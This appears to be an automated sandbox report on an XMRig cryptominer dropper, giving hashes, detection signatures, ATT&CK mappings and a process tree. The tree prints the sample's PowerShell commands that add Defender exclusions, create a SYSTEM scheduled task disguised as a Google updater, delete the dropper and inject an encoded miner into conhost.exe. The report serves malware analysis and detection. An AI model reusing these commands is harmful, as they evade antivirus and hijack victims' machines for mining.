xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
483s
max time network
1794s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1708 created 1216	1708	M8xUNW42QxTLMRXN.exe	11
PID 1708 created 1216	1708	M8xUNW42QxTLMRXN.exe	11
PID 1708 created 1216	1708	M8xUNW42QxTLMRXN.exe	11
PID 1708 created 1216	1708	M8xUNW42QxTLMRXN.exe	11
PID 2860 created 1216	2860	updater.exe	11
PID 2860 created 1216	2860	updater.exe	11
PID 2860 created 1216	2860	updater.exe	11
PID 2860 created 1216	2860	updater.exe	11
PID 1460 created 1216	1460	conhost.exe	11
PID 2860 created 1216	2860	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral19/memory/2252-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2252-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2788	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2860	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2216	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral19/memory/2252-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2252-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2860 set thread context of 1460	2860	updater.exe	52
PID 2860 set thread context of 2252	2860	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	M8xUNW42QxTLMRXN.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2856	schtasks.exe
1692	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1536	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 306ec3a0b84fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1708	M8xUNW42QxTLMRXN.exe
1708	M8xUNW42QxTLMRXN.exe
2260	powershell.exe
1708	M8xUNW42QxTLMRXN.exe
1708	M8xUNW42QxTLMRXN.exe
2836	powershell.exe
1708	M8xUNW42QxTLMRXN.exe
1708	M8xUNW42QxTLMRXN.exe
1708	M8xUNW42QxTLMRXN.exe
1708	M8xUNW42QxTLMRXN.exe
2780	powershell.exe
2860	updater.exe
2860	updater.exe
2488	powershell.exe
2860	updater.exe
2860	updater.exe
1916	powershell.exe
2860	updater.exe
2860	updater.exe
2860	updater.exe
2860	updater.exe
1460	conhost.exe
1460	conhost.exe
2860	updater.exe
2860	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	2860	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: SeLockMemoryPrivilege	2252	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 2856	2836	powershell.exe	32
PID 2836 wrote to memory of 2856	2836	powershell.exe	32
PID 2836 wrote to memory of 2856	2836	powershell.exe	32
PID 2788 wrote to memory of 2612	2788	cmd.exe	33
PID 2788 wrote to memory of 2612	2788	cmd.exe	33
PID 2788 wrote to memory of 2612	2788	cmd.exe	33
PID 2780 wrote to memory of 2472	2780	powershell.exe	36
PID 2780 wrote to memory of 2472	2780	powershell.exe	36
PID 2780 wrote to memory of 2472	2780	powershell.exe	36
PID 2216 wrote to memory of 2860	2216	taskeng.exe	38
PID 2216 wrote to memory of 2860	2216	taskeng.exe	38
PID 2216 wrote to memory of 2860	2216	taskeng.exe	38
PID 1916 wrote to memory of 1692	1916	powershell.exe	45
PID 1916 wrote to memory of 1692	1916	powershell.exe	45
PID 1916 wrote to memory of 1692	1916	powershell.exe	45
PID 2860 wrote to memory of 1460	2860	updater.exe	52
PID 1900 wrote to memory of 1536	1900	cmd.exe	48
PID 1900 wrote to memory of 1536	1900	cmd.exe	48
PID 1900 wrote to memory of 1536	1900	cmd.exe	48
PID 2860 wrote to memory of 2252	2860	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1216
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2856
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1692
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:640
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1900
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1460
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2252

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2612

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2472

C:\Windows\system32\taskeng.exe
taskeng.exe {B6E0B4F2-957A-41B7-A555-F134E3C3D02A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2860

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 174KB
SHA256 ae5cb89e3e7e2686a036a136c6d24a6000b0f5126c33e6b2f659d45210383548
MD5 fffad432f74d4b76d4929e83112307c6
SHA1 7707ab31ce79256c625302072b9185d2c005bfa6
SHA512 a8dae79636246bfc53678f31aadd7de062632a527e08354363469475c93212695ecdedecfb11d87b9688d225fe2a978d4233af8b40692e586dd7a50c07ebc3c4
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviCH923SRVBkU0yS7Ia:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0n
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 332KB
SHA256 6535c7670ea0ee28e9764d0524a965a15804d724b6d592f055e5d6a917e2c0dd
MD5 a770103e06ab0c172193aa0a4543983f
SHA1 320aed1811d50055d5067b9769ddc148a5af66ce
SHA512 86d9d1c849c21a6120ec22b4ebb1cae3c36b3530518770b4c2f36222f4e731ff4b98f2193c797f5f80614649555cec14125a15121a50ea9e0424f641fe7d20ba
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFwH8w1F:rWVi46hyqG2ckwLxgajd0mAVwb5T3dnF
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 3a0c3364ef4df78904913c73db2d2c5297bd25418802deb2959222e69cbe3dff
MD5 cbe5a3b1a5ee834369a51e7d0eaf79a6
SHA1 081d1d4590d7d20b2a4b865ef27db58e742de1f6
SHA512 9a51d1b55b83c61d8e88003cbeba3c010ec038e11148609eeaf1817277b4ef433e3f9105c70c9d7651df81cf9f088c14efe3c635c72795e8e41034bfb3855b05
SSDEEP 96:4VWC5M8cnqvsqvJCwoDojQVWC5M8cnqvsEHyqvJCworVoj2kuSQHeV57H7XlUVhU:83wUoDd3wAHnorVtI3V57H7QU
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 37KB
SHA256 de60225b463a285de1abcf650dcb4b20e9cb2b2cd14d7b4d480a4d3602660348
MD5 766ae4e2e04f58ec9ee8779bc243b152
SHA1 501c0a3e77e8672ce8c82c4b90a37786a749e12a
SHA512 7865d2695f348aa897982a7a3503fec157332c4716c9aa012d97fe544ee6d2f3d06046afed2d2fe9a2be515709c2dff4cee986474fa9321dc304da41c9b10cc4
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+q:L3zCarzIpyj5pLauwYY94E6wq
MD5 SHA1 SHA512 SSDEEP

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memory/1460-78-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1460-71-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1708-0-0x000000013FE50000-0x0000000140061000-memory.dmp

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memory/1708-28-0x000000013FE50000-0x0000000140061000-memory.dmp

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memory/1916-59-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

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memory/1916-57-0x0000000001550000-0x00000000015D0000-memory.dmp

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memory/1916-54-0x0000000001550000-0x00000000015D0000-memory.dmp

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memory/1916-53-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

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memory/1916-56-0x0000000001550000-0x00000000015D0000-memory.dmp

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memory/1916-58-0x0000000001550000-0x00000000015D0000-memory.dmp

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memory/1916-55-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

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memory/2252-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-77-0x0000000000800000-0x0000000000820000-memory.dmp

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memory/2252-76-0x00000000007E0000-0x0000000000800000-memory.dmp

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memory/2252-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-66-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2252-67-0x0000000000200000-0x0000000000220000-memory.dmp

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memory/2252-69-0x00000000007E0000-0x0000000000800000-memory.dmp

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memory/2252-70-0x0000000000800000-0x0000000000820000-memory.dmp

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memory/2252-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2260-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

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memory/2260-8-0x0000000002800000-0x0000000002880000-memory.dmp

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memory/2260-7-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

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memory/2260-11-0x0000000002800000-0x0000000002880000-memory.dmp

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memory/2260-10-0x0000000002800000-0x0000000002880000-memory.dmp

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memory/2260-6-0x0000000001D50000-0x0000000001D58000-memory.dmp

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memory/2260-9-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

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memory/2260-12-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

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memory/2488-51-0x000000000159B000-0x0000000001602000-memory.dmp

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memory/2488-48-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

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memory/2488-52-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

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memory/2488-46-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

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memory/2488-49-0x0000000001590000-0x0000000001610000-memory.dmp

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memory/2488-50-0x0000000001590000-0x0000000001610000-memory.dmp

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memory/2488-47-0x0000000001590000-0x0000000001610000-memory.dmp

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memory/2780-34-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

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memory/2780-40-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

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memory/2780-36-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

